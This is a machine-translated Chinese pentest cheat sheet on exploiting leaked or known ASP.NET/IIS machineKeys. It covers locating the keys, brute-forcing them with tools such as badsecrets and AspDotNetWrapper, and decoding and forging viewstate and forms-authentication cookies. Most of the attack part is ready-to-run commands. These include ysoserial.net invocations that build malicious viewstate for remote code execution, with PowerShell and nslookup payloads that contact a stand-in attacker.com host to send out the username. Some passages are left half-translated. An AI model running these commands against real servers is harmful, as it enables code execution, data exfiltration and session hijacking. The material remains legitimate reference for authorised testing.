IIS 计算机密钥 该计算机密钥用于对表单身份验证 Cookie 数据和视图状态数据进行加密和解密,并用于验证进程外会话状态标识。 概要 视图状态格式 计算机密钥格式与位置 识别已知的计算机密钥 解码视图状态 为 RCE 生成视图状态 未启用 MAC 已启用 MAC 且禁用加密 已启用 MAC 且启用加密 使用计算机密钥编辑 Cookie 参考文献 视图状态格式 在 IIS 中,视图状态是一种用于在 ASP.NET 应用程序中保留回发之间 Web 控件状态的技术。它将数据存储在页面上的隐藏字段中,使页面能够保持用户输入和其他状态信息。 格式 | 属性 Base64 | , Base64 + MAC | Base64 + 加密 | 默认情况下,直到 2014 年 9 月, 属性被设置为 。
该计算机密钥用于对表单身份验证 Cookie 数据和视图状态数据进行加密和解密,并用于验证进程外会话状态标识。
在 IIS 中,视图状态是一种用于在 ASP.NET 应用程序中保留回发之间 Web 控件状态的技术。它将数据存储在页面上的隐藏字段中,使页面能够保持用户输入和其他状态信息。
| 格式 | 属性 |
|---|---|
| Base64 | EnableViewStateMac=False, ViewStateEncryptionMode=False |
| Base64 + MAC | EnableViewStateMac=True |
| Base64 + 加密 | ViewStateEncryptionMode=True |
默认情况下,直到 2014 年 9 月,enableViewStateMac 属性被设置为 False。
通常,未加密的视图状态以字符串 /wEP 开头。
IIS 中的 machineKey 是 ASP.NET 中的一个配置元素,用于指定用于加密和验证数据(如视图状态和表单身份验证令牌)的加密密钥和算法。它确保了跨 Web 应用程序的一致性和安全性,尤其是在 Web 场环境中。
machineKey 的格式如下。
<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 (default) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto (default) | DES | 3DES | AES | alg:algorithm_name]" />
validationKey attribute specifies a hexadecimal string used to validate data, ensuring it hasn't been tampered with.
The decryptionKey attribute provides a hexadecimal string used to encrypt and decrypt sensitive data.
The validation attribute defines the algorithm used for data validation, with options like SHA1, MD5, 3DES, AES, and HMACSHA256, among others.
The decryption 属性指定加密算法,选项包括 Auto、DES、3DES 和 AES,或者您也可以使用 alg:algorithm_name 指定自定义算法。
以下 machineKey 示例来自 Microsoft 文档。
<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
web.config / machine.config 的常见位置:
C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.configC:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.configC:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.configC:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.configHKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey尝试从已知产品、Microsoft 文档或其他互联网来源中获取多个计算机密钥。
./viewstalker --viewstate /wEPD...TYQ== -m 3E92B2D6 -M ./MachineKeys2.txt ____ ____.__ __ .__ __ \ \ / /|__| ______ _ _________/ |______ | | | | __ ___________ \ Y / | |/ __ \ \/ \/ / ___/\ __\__ \ | | | |/ // __ \_ __ \ \ / | \ ___/\ /\___ \ | | / __ \| |_| <\ ___/| | \/ \___/ |__|\___ >\/\_//____ > |__| (____ /____/__|_ \\___ >__| \/ \/ \/ \/ \/ KEY FOUND!!! Host: Validation Key: XXXXX,XXXXX
blacklanternsecurity/badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUK...j81TYQ== --generator 3E92B2D6 Matching MachineKeys found! validationKey: C50B3C89CB21F4F1422FF158A5B42D0E8DB8CB5CDA1742572A487D9401E3400267682B202B746511891C1BAF47F8D25C07F6C39A104696DB51F17C529AD3CABE validationAlgo: SHA1
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy
$ viewgen --guess "/wEPDwUKMTYyOD...WRkuVmqYhhtcnJl6Nfet5ERqNHMADI=" [+] ViewState is not encrypted [+] Signature algorithm: SHA1
可供使用的有趣计算机密钥列表:
BApp Store > ViewState Editor - ViewState Editor 是一个扩展,允许您查看和编辑 V1.1 和 V2.0 ASP 视图状态数据的结构和内容。
viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
首先,您需要解码视图状态,以确定是否启用了 MAC 和加密。
要求:
__VIEWSTATE__VIEWSTATEGENERATORysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName"
使用 badsecrets, viewstalker, AspDotNetWrapper.exe or viewgen 查找计算机密钥(validationkey)
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy # --modifier = `__VIEWSTATEGENERATOR` parameter value # --encrypteddata = `__VIEWSTATE` parameter value of the target application
然后使用 pwntester/ysoserial.net 生成视图状态,可以使用 TextFormattingRunProperties and TypeConfuseDelegate 这两个 gadget。
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell.exe -c nslookup http://attacker.com" --generator=3E92B2D6 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" # --generator = `__VIEWSTATEGENERATOR` parameter value # --validationkey = validation key from the previous command
默认验证算法是 HMACSHA256 and the default decryption algorithm is AES.
If the __VIEWSTATEGENERATOR is missing but the application uses .NET Framework version 4.0 or below, you can use the root of the app (e.g: --apppath="/testaspx/").
.NET Framework < 4.5, ASP.NET always accepts an unencrypted __VIEWSTATE if you remove the __VIEWSTATEENCRYPTED 请求参数
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
.NET Framework > 4.5, machineKey 具有属性:compatibilityMode="Framework45"
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
如果您拥有 machineKey,但视图状态已禁用。
ASP.NET 表单身份验证 Cookie:liquidsec/aspnetCryptTools
# decrypt cookie $ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes # encrypt cookie (edit Decrypted.txt) $ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
免责声明:
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。应以原始语言版本的文件为准。对于关键信息,建议使用专业的人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。